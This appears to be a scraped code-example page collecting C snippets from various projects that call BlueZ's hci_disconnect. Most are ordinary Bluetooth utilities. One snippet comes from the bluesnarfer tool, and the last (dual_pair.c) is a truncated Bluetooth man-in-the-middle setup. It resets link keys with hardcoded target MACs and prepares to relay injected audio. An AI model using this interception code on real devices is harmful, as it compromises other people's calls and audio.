コード例 #1
0
ファイル: bt_utils.c プロジェクト: cqllzp/GIMX
int bt_disconnect(char bdaddr[18])
{
  int err = 0, dd;
  struct hci_conn_info_req *cr = 0;

  // find the connection handle to the specified bluetooth device
  cr = (struct hci_conn_info_req*) malloc(
      sizeof(struct hci_conn_info_req) + sizeof(struct hci_conn_info));
  str2ba(bdaddr, &cr->bdaddr);
  cr->type = ACL_LINK;
  dd = hci_open_dev(hci_get_route(&cr->bdaddr));
  if (dd < 0)
  {
    err = dd;
    goto cleanup;
  }
  err = ioctl(dd, HCIGETCONNINFO, (unsigned long) cr);
  if (err)
    goto cleanup;

  hci_disconnect(dd, cr->conn_info->handle, HCI_OE_USER_ENDED_CONNECTION, HCI_REQ_TIMEOUT);

  cleanup: free(cr);
  if (dd >= 0)
    close(dd);

  return err;
}
コード例 #2
0
int bt_get_remote_name(char *str_bdaddr) {

	struct hci_conn_info_req cr;
	int dd, cc, handler;
	char name[248];
	bdaddr_t bdaddr;

	if ((dd = hci_open_dev(device)) < 0) {

		fprintf(stderr, "bluesnarfer: hci_open_dev : %s\n", strerror(errno));
		return -1;
	}

	str2ba(str_bdaddr, &bdaddr);

	memcpy(&cr.bdaddr, &bdaddr, sizeof(bdaddr_t));
	cr.type = ACL_LINK;

	if (ioctl(dd, HCIGETCONNINFO, (unsigned long) &cr) < 0) {

		if ((cc = hci_create_connection(dd, &bdaddr, htobs(HCI_DM1 | HCI_DH1), 0, 0, (void *)&handler, 25000)) < 0) {

			fprintf(stderr, "bluesnarfer: hci_create_connection failed\n");
			hci_close_dev(dd);

			return -1;
		}
	}


	if (hci_read_remote_name(dd, &bdaddr, 248, name, 25000)) {
		
		fprintf(stderr, "bluesnarfer: hci_read_remote_name failed\n");

		hci_close_dev(dd);
		hci_disconnect(dd, handler, HCI_OE_USER_ENDED_CONNECTION, 10000);

		return -1;
	}

	printf("device name: %s\n", name);

	if (cc) hci_disconnect(dd, handler, HCI_OE_USER_ENDED_CONNECTION, 10000);

	hci_close_dev(dd);
	return 0;
}
コード例 #3
0
ファイル: bluetooth.cpp プロジェクト: loki-47-6F-64/kitty
int HCI::disconnect(uint16_t handle) {
  if(hci_disconnect(_hci_sock, handle, HCI_OE_USER_ENDED_CONNECTION, 1000)) {
    err::code = err::LIB_SYS;
    
    return -1;
  }
  
  return 0;
}
コード例 #4
0
ファイル: ble.c プロジェクト: dhn/ble
void
disconnect_from_device(int dev_id, uint16_t handle)
{
    if (dev_id < 0)
        dev_id = hci_get_route(NULL);

    if ((typ.dd = hci_open_dev(dev_id)) < 0)
        die("Could not open device\n");

    typ.err = hci_disconnect(typ.dd, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
    if (typ.err < 0)
        die("Could not disconnect\n");

    hci_close_dev(typ.dd);
}
コード例 #5
0
/* 
 * l2cap_disconnected_ind():
 *
 * Called by L2CAP to indicate that remote L2CAP protocol disconnected.
 * Disconnects the RFCOMM protocol and the ACL link before it initializes a search for 
 * other devices.
 *
 */
err_t l2cap_disconnected_ind(void *arg, struct l2cap_pcb *pcb, err_t err)
{
	err_t ret = ERR_OK;

	LWIP_DEBUGF(BT_SPP_DEBUG, ("l2cap_disconnected_ind: L2CAP disconnected\n"));

	if(pcb->psm == SDP_PSM) { 
		sdp_lp_disconnected(pcb);
		l2cap_close(pcb);
	} else if(pcb->psm == RFCOMM_PSM) {
		ret = rfcomm_lp_disconnected(pcb);
		/* We can do this since we know that we are the only channel on the ACL link.
		 * If ACL link already is down we get an ERR_CONN returned */
		hci_disconnect(&(pcb->remote_bdaddr), HCI_OTHER_END_TERMINATED_CONN_USER_ENDED);
		l2cap_close(pcb);
		bt_spp_start();
	}

	return ret;
}
コード例 #6
0
ファイル: l2cap_bluez.c プロジェクト: NoPublic/GIMX
static int l2cap_bluez_disconnect(int channel)
{
    int result = 0;
    int dd;

    if ((dd = hci_open_dev(channels.channels[channel].devid)) < 0)
    {
        perror("hci_open_dev");
        return -1;
    }

    if(hci_disconnect(dd, channels.channels[channel].handle, HCI_OE_USER_ENDED_CONNECTION, 5*HCI_REQ_TIMEOUT) < 0)
    {
        perror("hci_disconnect");
        result = -1;
    }

    hci_close_dev(dd);

    return result;
}
コード例 #7
0
int get_rssi(bdaddr_t *bdaddr, struct hci_state current_hci_state)
{
  struct hci_dev_info di;
  if (hci_devinfo(current_hci_state.device_id, &di) < 0) {
    perror("Can't get device info");
    return(-1);
  }

  uint16_t handle;
// int hci_create_connection(int dd, const bdaddr_t *bdaddr, uint16_t ptype, uint16_t clkoffset, uint8_t rswitch, uint16_t *handle, int to);
// HCI_DM1 | HCI_DM3 | HCI_DM5 | HCI_DH1 | HCI_DH3 | HCI_DH5
  if (hci_create_connection(current_hci_state.device_handle, bdaddr, htobs(di.pkt_type & ACL_PTYPE_MASK), 0, 0x01, &handle, 25000) < 0) {
    perror("Can't create connection");
    // TODO close(dd);
    return(-1);
  }
  sleep(1);

  struct hci_conn_info_req *cr = malloc(sizeof(*cr) + sizeof(struct hci_conn_info));
  bacpy(&cr->bdaddr, bdaddr);
  cr->type = ACL_LINK;
  if(ioctl(current_hci_state.device_handle, HCIGETCONNINFO, (unsigned long) cr) < 0) {
    perror("Get connection info failed");
    return(-1);
  }

  int8_t rssi;
  if(hci_read_rssi(current_hci_state.device_handle, htobs(cr->conn_info->handle), &rssi, 1000) < 0) {
    perror("Read RSSI failed");
    return(-1);
  }

  printf("RSSI return value: %d\n", rssi);

  free(cr);

  usleep(10000);
  hci_disconnect(current_hci_state.device_handle, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
}
コード例 #8
0
int main(int argc, char *argv[])
{
	int opt, sock, dev_id, lap = 0, uap = 0, delay = 5;
	int have_lap = 0;
	int have_uap = 0;
	int afh_enabled = 0;
	uint8_t mode, afh_map[10];
	char *end, ubertooth_device = -1;
	char *bt_dev = "hci0";
    char addr[19] = { 0 };
	struct libusb_device_handle *devh = NULL;
	uint32_t clock;
	uint16_t accuracy, handle, offset;
	bdaddr_t bdaddr;
	btbb_piconet *pn;
	struct hci_dev_info di;
	int cc = 0;


	pn = btbb_piconet_new();

	while ((opt=getopt(argc,argv,"hl:u:U:e:d:ab:w:")) != EOF) {
		switch(opt) {
		case 'l':
			lap = strtol(optarg, &end, 16);
			if (end != optarg) {
				++have_lap;
			}
			break;
		case 'u':
			uap = strtol(optarg, &end, 16);
			if (end != optarg) {
				++have_uap;
			}
			break;
		case 'U':
			ubertooth_device = atoi(optarg);
			break;
		case 'e':
			max_ac_errors = atoi(optarg);
			break;
		case 'd':
			dumpfile = fopen(optarg, "w");
			if (dumpfile == NULL) {
				perror(optarg);
				return 1;
			}
			break;
		case 'a':
			afh_enabled = 1;
			break;
		case 'b':
			bt_dev = optarg;
			if (bt_dev == NULL) {
				perror(optarg);
				return 1;
			}
			break;
		case 'w': //wait
			delay = atoi(optarg);
			break;
		case 'h':
		default:
			usage();
			return 1;
		}
	}

	dev_id = hci_devid(bt_dev);
	sock = hci_open_dev(dev_id);
	hci_read_clock(sock, 0, 0, &clock, &accuracy, 0);

	if ((have_lap != 1) || (have_uap != 1)) {
		printf("No address given, reading address from device\n");
		hci_read_bd_addr(sock, &bdaddr, 0);
		lap = bdaddr.b[0] | bdaddr.b[1] << 8 | bdaddr.b[2] << 16;
		btbb_init_piconet(pn, lap);
		uap = bdaddr.b[3];
		btbb_piconet_set_uap(pn, uap);
		printf("LAP=%06x UAP=%02x\n", lap, uap);
	} else if (have_lap && have_uap) {
		btbb_init_piconet(pn, lap);
		btbb_piconet_set_uap(pn, uap);
		printf("Address given, assuming address is remote\n");
		sprintf(addr, "00:00:%02X:%02X:%02X:%02X",
			uap,
			(lap >> 16) & 0xFF,
			(lap >> 8) & 0xFF,
			lap & 0xFF
		);
		str2ba(addr, &bdaddr);
		printf("Address: %s\n", addr);
	
		if (hci_devinfo(dev_id, &di) < 0) {
			perror("Can't get device info");
			return 1;
		}

		if (hci_create_connection(sock, &bdaddr,
					htobs(di.pkt_type & ACL_PTYPE_MASK),
					0, 0x01, &handle, 25000) < 0) {
			perror("Can't create connection");
			return 1;
		}
		sleep(1);
		cc = 1;

		if (hci_read_clock_offset(sock, handle, &offset, 1000) < 0) {
			perror("Reading clock offset failed");
		}
		clock += offset;

		//Experimental AFH map reading from remote device
		if(afh_enabled) {
			if(hci_read_afh_map(sock, handle, &mode, afh_map, 1000) < 0) {
				perror("HCI read AFH map request failed");
				//exit(1);
			}
			if(mode == 0x01) {
				btbb_piconet_set_afh_map(pn, afh_map);
				btbb_print_afh_map(pn);
			} else {
				printf("AFH disabled.\n");
				afh_enabled = 0;
			}
		}
		if (cc) {
			usleep(10000);
			hci_disconnect(sock, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
		}
	} else {
コード例 #9
0
ファイル: btpan.c プロジェクト: github188/SimpleCode
int cmd_pan_discovery(struct command *cmd)
{
	int		role = AFFIX_PAN_NAP;
	int		fd, i, found = 0;
	__u32		length = 8;
	int		err;
	INQUIRY_ITEM	devs[20];
	char		*devnames[20];
	char		name[248];
	__u8		num;
	uint16_t	ServiceID;
	uint16_t	count;
	slist_t		*searchList = NULL;
	slist_t		*attrList = NULL;
	slist_t		*svcList = NULL;
	sdpsvc_t	*svcRec;
	struct sockaddr_affix	saddr;

	__argv = &__argv[optind];

	if (*__argv) {
		role = str2role(*__argv);
		if (!role) {
			fprintf(stderr, "invalid role: %s\n", *__argv);
			return 1;
		}
		if (*(++__argv))
			sscanf(*__argv, "%x", &length);
	}

	fd = hci_open(btdev);
	if (fd < 0) {
		printf("Unable to open device %s: %s\n", btdev, strerror(errno));
		return -1;
	}
	printf("Searching %d sec ...\n", length);
	err = HCI_Inquiry(fd, length, 20, devs, &num);
	if (err) {
		fprintf(stderr, "%s\n", hci_error(err));
		exit(1);
	}
	if (num == 0) {
		printf("done.\nNo devices found.\n");
	} else {
		printf("Searching done. Checking for service %s ...\n", role2str(role));
		btdev_cache_reload();
		btdev_cache_retire();
		for (i = 0; i < num; i++) {
			if (!(devs[i].Class_of_Device & HCI_COD_NETWORKING))
				continue;
			saddr.family = PF_AFFIX;
			saddr.bda = devs[i].bda;
			saddr.devnum = HCIDEV_ANY;
			printf("% 2d: %s ", ++found, bda2str(&saddr.bda));
			devs[i].Clock_Offset |= 0x8000;
			err = HCI_RemoteNameRequest(fd, &devs[i], name);
			if (!err)
				devnames[i] = strdup(name);
			else 
				devnames[i] = NULL;
			printf("(%s)... ", name);
#if defined(CONFIG_AFFIX_SDP)
			if (role == AFFIX_PAN_NAP)
				ServiceID = SDP_UUID_NAP;
			else if (role == AFFIX_PAN_GN)
				ServiceID = SDP_UUID_GN;
			else
				ServiceID = SDP_UUID_PANU;

			/* search for service ServiceID */
			s_list_append_uuid16(&searchList, ServiceID);
			/* set attributes to find */
			s_list_append_uint(&attrList, SDP_ATTR_SERVICE_RECORD_HANDLE);
			s_list_append_uint(&attrList, SDP_ATTR_PROTO_DESC_LIST);
			err = __sdp_search_attr_req(&saddr, searchList, IndividualAttributes, attrList, 0xffff, &svcList, &count);
			s_list_destroy(&searchList);
			s_list_free(&attrList);
			hci_disconnect(&saddr);
			if (err) {
				//fprintf(stderr, "%s\n", sdp_error(err));
				printf("no\n");
				continue;
			}
			if (count == 0) {
				printf("no\n");
				continue;
			}
			printf("yes\n");
			svcRec = s_list_dequeue(&svcList);
			sdp_free_svc(svcRec);
			sdp_free_svclist(&svcList);
			//hci_get_conn();
#else
			fprintf(stderr, "Affix SDP support disabled at compile time!\n");
			break;
#endif
			__btdev_cache_add(devs[i].bda, devs[i].Class_of_Device, devnames[i]);
			if (devnames[i])
				free(devnames[i]);
		}
		btdev_cache_save();
	}
	close(fd);
	return 0;
}
コード例 #10
0
ファイル: ubertooth-scan.c プロジェクト: godzivan/ubertooth
void extra_info(int dd, int dev_id, bdaddr_t* bdaddr)
{
	uint16_t handle, offset;
	uint8_t features[8], max_page = 0;
	char name[249], *tmp;
	char addr[19] = { 0 };
	uint8_t mode, afh_map[10];
	struct hci_version version;
	struct hci_dev_info di;
	struct hci_conn_info_req *cr;
	int i, cc = 0;

	if (hci_devinfo(dev_id, &di) < 0) {
		perror("Can't get device info");
		exit(1);
	}

	printf("Requesting information ...\n");

	cr = malloc(sizeof(*cr) + sizeof(struct hci_conn_info));
	if (!cr) {
		perror("Can't get connection info");
		exit(1);
	}

	bacpy(&cr->bdaddr, bdaddr);
	cr->type = ACL_LINK;
	if (ioctl(dd, HCIGETCONNINFO, (unsigned long) cr) < 0) {
		if (hci_create_connection(dd, bdaddr,
					htobs(di.pkt_type & ACL_PTYPE_MASK),
					0, 0x01, &handle, 25000) < 0) {
			perror("Can't create connection");
			return;
		}
		sleep(1);
		cc = 1;
	} else
		handle = htobs(cr->conn_info->handle);

	ba2str(bdaddr, addr);
	printf("\tBD Address:  %s\n", addr);

	if (hci_read_remote_name(dd, bdaddr, sizeof(name), name, 25000) == 0)
		printf("\tDevice Name: %s\n", name);

	if (hci_read_remote_version(dd, handle, &version, 20000) == 0) {
		char *ver = lmp_vertostr(version.lmp_ver);
		printf("\tLMP Version: %s (0x%x) LMP Subversion: 0x%x\n"
			"\tManufacturer: %s (%d)\n",
			ver ? ver : "n/a",
			version.lmp_ver,
			version.lmp_subver,
			bt_compidtostr(version.manufacturer),
			version.manufacturer);
		if (ver)
			bt_free(ver);
	}

	memset(features, 0, sizeof(features));
	hci_read_remote_features(dd, handle, features, 20000);

	if ((di.features[7] & LMP_EXT_FEAT) && (features[7] & LMP_EXT_FEAT))
		hci_read_remote_ext_features(dd, handle, 0, &max_page,
							features, 20000);

	printf("\tFeatures%s: 0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x "
				"0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x\n",
		(max_page > 0) ? " page 0" : "",
		features[0], features[1], features[2], features[3],
		features[4], features[5], features[6], features[7]);

	tmp = lmp_featurestostr(features, "\t\t", 63);
	printf("%s\n", tmp);
	bt_free(tmp);

	for (i = 1; i <= max_page; i++) {
		if (hci_read_remote_ext_features(dd, handle, i, NULL,
							features, 20000) < 0)
			continue;

		printf("\tFeatures page %d: 0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x "
					"0x%2.2x 0x%2.2x 0x%2.2x 0x%2.2x\n", i,
			features[0], features[1], features[2], features[3],
			features[4], features[5], features[6], features[7]);
	}

	if (hci_read_clock_offset(dd, handle, &offset, 1000) < 0) {
		perror("Reading clock offset failed");
		exit(1);
	}

	printf("\tClock offset: 0x%4.4x\n", btohs(offset));

	if(hci_read_afh_map(dd, handle, &mode, afh_map, 1000) < 0) {
	perror("HCI read AFH map request failed");
	}
	if(mode == 0x01) {
		// DGS: Replace with call to btbb_print_afh_map - need a piconet
		printf("\tAFH Map: 0x");
		for(i=0; i<10; i++)
			printf("%02x", afh_map[i]);
		printf("\n");
	} else {
		printf("AFH disabled.\n");
	}
	free(cr);

	if (cc) {
		usleep(10000);
		hci_disconnect(dd, handle, HCI_OE_USER_ENDED_CONNECTION, 10000);
	}
}
コード例 #11
0
ファイル: dual_pair.c プロジェクト: shayp/BlackTooth
void main()
{
	// ------ Pairing stuff ------
	// These are some known MACs for devices we'll be using in the demonstration 
	// "00:11:67:F8:8A:D1" - JAM Headphones
	// "FC:58:FA:3A:49:08" - Perchik's bluetooth speaker
		// Dongel - "00:01:95:27:45:51"
	// Shay mac - 60:F8:1D:C0:95:15 

	const char* dest1_mac = "FC:58:FA:3A:49:08"; // Audio Sink
	const char* dest2_mac = "78:D7:5F:A2:7E:4A"; // Audio Gateway
	const char* local_mac = "60:F8:1D:C0:95:15"; // Local Controller

	bdaddr_t bdaddr1, bdaddr2;
	int dev_id = 0, dev_sock = 0, err, attempts;
	uint16_t conn1_handle, conn2_handle;

	uint16_t packet_type;
	struct hci_conn_info_req *conn_info_request;
	struct hci_dev_info dev_info;

	// SDP stuff - use these for SDP querying for RFCOMM channels with sdp_lookup_uuid_rfcomm_channel below
	uint16_t headset_uuid16 = 0x1108;
	uint16_t headset_gate_uuid16 = 0x1112;
	uint16_t hfp_gate_uuid16 = 0x111F;
	uint16_t hfp_uuid16 = 0x111E;
	uint16_t a2dp_src_uuid16 = 0x110A;	
	uint16_t a2dp_sink_uuid16 = 0x110B;

	// RFCOMM/SCO stuff
	struct sockaddr_rc remote1, remote2;
	struct sockaddr_rc local;
	struct sockaddr_sco sco_remote;
	struct sco_options sco_conn_options;
	wanted_rfcomm_sock_res server_rfcomm_sock;
	socklen_t optlen;
	// RFCOMM Channels for known demonstration devices:
	// iPhone: 8
	// JAM Headphones: 1
	// Perchik speakers: 3

	int rfcomm_sock1 = -1, rfcomm_sock2 = -1, rfcomm_channel1 = 1, rfcomm_channel2 = 8, sco_sock, sco_conn_enabled = 0;
	int32_t recv_len = 0, packet_seq, audio_i, pkt_i, audio1_sent_amt = 0;
	uint8_t* recv_buf = (uint8_t*)malloc(RECV_BUF_SIZE);
	int sco_sock1 = -1, sco_sock2 = -1;
	int is_server = 0;

	int ag2hs, hs2ag, ag2hs_sco, hs2ag_sco, ag2hs_sdp, hs2ag_sdp, ag2hs_avctp, hs2ag_avctp, ag2hs_avdtp, hs2ag_avdtp, ag2hs_audio, hs2ag_audio;

	// L2CAP stuff
	int avdtp_sock1, avdtp_sock2, avctp_sock1, avctp_sock2, audio_sock1, audio_sock2, sdp_sock1, sdp_sock2, connected = 0, sdp_chann_enabled, audio_sock1_imtu, audio_sock1_omtu = DEFAULT_L2CAP_MTU, sdp1_omtu, sdp1_imtu;
	l2cap_sock_info sdp_sock_res, rfcomm_sock_res, server_avctp_sock_res, server_avdtp_sock_res;
	uint8_t *l2cap_buf = (uint8_t*)malloc(1500);
	FILE* test_audio_file = NULL;

	FILE* haxed_audio_file = fopen("audiodump_in.sbc", "rb");

	str2ba(dest1_mac, &bdaddr1);
	str2ba(dest2_mac, &bdaddr2);

	dev_id = hci_get_route(NULL);
	dev_sock = hci_open_dev(dev_id);

	printf("Looking up device RFCOMM channels...\n");

	// Find RFCOMM channels on both devices - uncomment to discover channels for new devices
	// WARNING: Set a return after these functions or Ctrl+C the program after SDP querying is over. 
	// Do not continue to the MITM attack after a SDP query! It simply won't work.
	//rfcomm_channel1 = sdp_lookup_uuid_rfcomm_channel(&bdaddr1, hfp_uuid16);
	//rfcomm_channel2 = sdp_lookup_uuid_rfcomm_channel(&bdaddr2, hfp_gate_uuid16);

	printf("Audio source: %u, Audio sink: %u\n", rfcomm_channel2, rfcomm_channel1);

	// Get connection handles to both entities
	/*if ((err = ioctl(dev_sock, HCIGETCONNINFO, (unsigned long)conn_info_request)) < 0)*/
	
	if (-1 == hci_devinfo(dev_id, &dev_info))
	{
		printf("Failed to get devinfo\n");
		goto cleanup;
	}	

	packet_type = htobs(dev_info.pkt_type & ACL_PTYPE_MASK);

	printf("Connecting to dev1...\n");

	if (-1 == hci_create_connection(dev_sock, &bdaddr1, packet_type, 0, 1, &conn1_handle, 25000)) 
	{
		printf("Failed to manually create connection 1\n");
		goto cleanup;
	}

	if ((err = hci_authenticate_link(dev_sock, htobs(conn1_handle), 10000)) < 0)
	{
		printf("Failed to authenticate link 1 (%d)\n", err);

		if ((err = hci_delete_stored_link_key(dev_sock, &bdaddr1, 1, 1000)) < 0)
		{
			printf("Failed to clear link 1 keys...\n");
			goto cleanup;
		}
		
		if ((err = hci_change_link_key(dev_sock, htobs(conn1_handle), 5000)) < 0)
		{
			printf("Failed to change link 1 key\n");
			goto cleanup;
		}

		printf("Cleared link1 keys, attempting auth again...\n");

		if ((err = hci_authenticate_link(dev_sock, htobs(conn1_handle), 10000)) < 0)
		{
			printf("Failed to reauthenticate link 1 (%d)\n", err);
			goto cleanup;
		}
	}

	if ((err = hci_encrypt_link(dev_sock, htobs(conn1_handle), 1, 10000)) < 0)
	{
		printf("Failed to encrypt link 1\n");
		goto cleanup;
	}

	printf("Dev1 secured\n");

	sleep(3);

	printf("Connecting to dev2...\n");

	if (-1 == hci_create_connection(dev_sock, &bdaddr2, packet_type, 0, 1, &conn2_handle, 25000)) 
	{
		printf("Failed to manually create connection 2\n");
		goto cleanup;
	}

	if ((err = hci_authenticate_link(dev_sock, htobs(conn2_handle), 10000)) < 0)
	{
		printf("Failed to authenticate link 2 (%d)\n", err);

		if ((err = hci_delete_stored_link_key(dev_sock, &bdaddr2, 1, 1000)) < 0)
		{
			printf("Failed to clear link 1 keys...\n");
			goto cleanup;
		}
		
		printf("Cleared link2 keys, attempting auth again...\n");

		if ((err = hci_change_link_key(dev_sock, htobs(conn2_handle), 5000)) < 0)
		{
			printf("Failed to change link 2 key\n");
			goto cleanup;
		}

		if ((err = hci_authenticate_link(dev_sock, htobs(conn2_handle), 10000)) < 0)
		{
			printf("Failed to reauthenticate link 2 (%d)\n", err);
			goto cleanup;
		}

	}

	if ((err = hci_encrypt_link(dev_sock, htobs(conn2_handle), 1, 10000)) < 0)
	{
		printf("Failed to encrypt link 2\n");
		goto cleanup;
	}

	printf("Dev2 secured\n");
	printf("Got connection handles: <%s, %u>, <%s, %u>\n", dest1_mac, conn1_handle, dest2_mac, conn2_handle);

	printf("Disconnecting ACL connections to connect via RFCOMM...\n");

	hci_disconnect(dev_sock, conn1_handle, HCI_OE_USER_ENDED_CONNECTION, 3000);
	hci_disconnect(dev_sock, conn2_handle, HCI_OE_USER_ENDED_CONNECTION, 3000);

	printf("Waiting for HCI to finish disconnecting...\n");
	sleep(1);

	printf("Initiating RFCOMM Communications\n");
/*
	rfcomm_sock1 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);	
	remote1.rc_family = AF_BLUETOOTH;
	remote1.rc_channel = rfcomm_channel1;
	str2ba(dest1_mac, &remote1.rc_bdaddr);

	for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
	{
		if ((err = connect(rfcomm_sock1, (struct sockaddr *)&remote1, sizeof(struct sockaddr_rc))) < 0)
		{
			printf("Failed to connect RFCOMM 1 (%d)\n", err);
		}
	}
	if (err < 0) goto rfcomm_sock_cleanup;
*/

/*
	rfcomm_sock_res.psm = PSM_RFCOMM;
	rfcomm_sock_res.res_sock = -1;

	printf("Waiting for phone on L2CAP...\n");

	start_l2cap_conn_wait(&rfcomm_sock_res);
	while (rfcomm_sock_res.res_sock <0);

	printf("Accepted on l2cap!\n");

	rfcomm_sock2 = rfcomm_sock_res.res_sock;
*/	
/*
	rfcomm_sock2 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);	
	remote2.rc_family = AF_BLUETOOTH;
	remote2.rc_channel = rfcomm_channel2;
	str2ba(dest2_mac, &remote2.rc_bdaddr);

	for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
	{
		if ((err = connect(rfcomm_sock2, (struct sockaddr *)&remote2, sizeof(struct sockaddr_rc))) < 0)
		{
			printf("Failed to connect RFCOMM 2 (%d)\n", err);
		}
	}

	if (err < 0) goto rfcomm_sock_cleanup;
*/
/*
	rfcomm_sock1 = connect_l2cap(dest1_mac, PSM_RFCOMM);
	rfcomm_sock2 = connect_l2cap(dest2_mac, PSM_RFCOMM);

	if (rfcomm_sock1 <= 0 || rfcomm_sock2 <= 0)
	{
		printf("Failed to connect RFCOMM/L2CAP. %d - %d\n", rfcomm_sock1, rfcomm_sock2);
		goto rfcomm_sock_cleanup;
	}
*/

//	printf("RFCOMM communications started. Setting to nonblocking I/O.\n");
/*
	if (fcntl(rfcomm_sock1, F_SETFL, O_NONBLOCK) < 0)
	{
		printf("Failed to make RFCOMM socket nonblocking\n");
		goto rfcomm_sock_cleanup;
	}

	if (fcntl(rfcomm_sock2, F_SETFL, O_NONBLOCK) < 0)
	{
		printf("Failed to make RFCOMM socket nonblocking\n");
		goto rfcomm_sock_cleanup;
	}
*/
	avdtp_sock1 = avdtp_sock2 = avctp_sock1 = avctp_sock2 = sdp_sock1 = sdp_sock2 = -1;
/*
	printf("Attempting to connect L2CAP sockets...\n");

	printf("Side 1 AVDTP/AVCTP...\n");

	avdtp_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP);
	avctp_sock1 = connect_l2cap(dest1_mac, PSM_AVCTP);

	if (avdtp_sock1 < 0 || avctp_sock1 < 0)
	{
		printf("Failed to setup L2CAP links... %d - %d\n", avctp_sock1, avdtp_sock1);
		goto l2cap_sock_cleanup;	
	}

	printf("Side 2 AVDTP/AVCTP...\n");

	avdtp_sock2 = connect_l2cap(dest2_mac, PSM_AVDTP);
	avctp_sock2 = connect_l2cap(dest2_mac, PSM_AVCTP);

	if (avdtp_sock2 < 0 || avctp_sock2 < 0)
	{
		printf("Failed to setup L2CAP links... %d - %d\n", avctp_sock1, avdtp_sock1);
		goto l2cap_sock_cleanup;	
	}
*/
	//start_sco_conn_wait(&sco_sock2);

	// Bind a L2CAP socket to wait for the slave to probe our SDP server
	sdp_sock_res.psm = PSM_SDP;
	sdp_sock_res.res_sock = -1;
	start_l2cap_conn_wait(&sdp_sock_res);

	// Bind two L2CAP sockets to wait for the slave to connect to our AVDTP and AVCTP service ports
	server_avctp_sock_res.psm = PSM_AVCTP;
	server_avdtp_sock_res.psm = PSM_AVDTP;

	start_l2cap_conn_wait(&server_avctp_sock_res);
	start_l2cap_conn_wait(&server_avdtp_sock_res);

	//start_sco_conn_wait(&sco_sock2);
	server_rfcomm_sock.res_sock = -1;
	server_rfcomm_sock.channel = rfcomm_channel1;
	//start_rfcomm_conn_wait(&server_rfcomm_sock);

	sdp_chann_enabled = 0;
	sco_conn_enabled = 0;

	sco_sock1 = sdp_sock1 = -1;

	is_server = 0;

	rfcomm_sock2 = connect_rfcomm(dest2_mac, local_mac, rfcomm_channel2);
	printf("Opened AG RFCOMM connection\n");

	// Make pipes
	if (0 > mknod("bt_hs2ag", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_ag2hs", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_hs2ag_sco", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_ag2hs_sco", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_hs2ag_sdp", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_ag2hs_sdp", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_hs2ag_avctp", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_ag2hs_avctp", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_hs2ag_avdtp", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_ag2hs_avdtp", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_hs2ag_audio", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	if (0 > mknod("bt_ag2hs_audio", S_IFIFO | 0666, 0))
	{
		printf("Failed to open pipe :(\n");
		goto rfcomm_sock_cleanup;
	}

	printf("Forking!\n");

	ag2hs = hs2ag = NULL;

	// Split into master and slave processes. This is because of bugs in BlueZ with connecting two sockets of the same kind
	// within the same process. Particularly A2DP and SCO.
	if (fork())
	{
		is_server = 1;
		sco_sock2 = -2;

		ag2hs = open("bt_ag2hs", O_WRONLY | O_CREAT, 0666);
		hs2ag = open("bt_hs2ag", O_NONBLOCK | O_CREAT, 0666);
		ag2hs_sco = open("bt_ag2hs_sco", O_WRONLY | O_NONBLOCK | O_CREAT, 0666);
		hs2ag_sco = open("bt_hs2ag_sco", O_NONBLOCK | O_CREAT, 0666);
		ag2hs_sdp = open("bt_ag2hs_sdp", O_WRONLY | O_CREAT, 0666);
		hs2ag_sdp = open("bt_hs2ag_sdp", O_NONBLOCK | O_CREAT, 0666);
		ag2hs_avctp = open("bt_ag2hs_avctp", O_WRONLY | O_CREAT, 0666);
		hs2ag_avctp = open("bt_hs2ag_avctp", O_NONBLOCK | O_CREAT, 0666);
		ag2hs_avdtp = open("bt_ag2hs_avdtp", O_WRONLY | O_CREAT, 0666);
		hs2ag_avdtp = open("bt_hs2ag_avdtp", O_NONBLOCK | O_CREAT, 0666);
		ag2hs_audio = open("bt_ag2hs_audio", O_WRONLY | O_CREAT, 0666);
		hs2ag_audio = open("bt_hs2ag_audio", O_NONBLOCK | O_CREAT, 0666);

		if (fcntl(ag2hs_audio, F_SETFL, O_NONBLOCK) < 0)
		{
			printf("Failed to make ag2hs_audio fifo nonblocking\n");
		}

		printf("Server starting\n");
/*
		accepter = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
		remote2.rc_family = AF_BLUETOOTH;
		remote2.rc_channel = rfcomm_channel2;
		remote2.rc_bdaddr = *BDADDR_ANY;

		printf("Waiting on RFCOMM2\n");

		if (bind(accepter, (struct sockaddr*)&remote2, sizeof(struct sockaddr_rc)) < 0) printf("Failed to bind rfcomm\n");
		if (listen(accepter, 1) < 0) printf("Failed to listen on rfcomm\n");
		accepterlen = sizeof(struct sockaddr_rc);
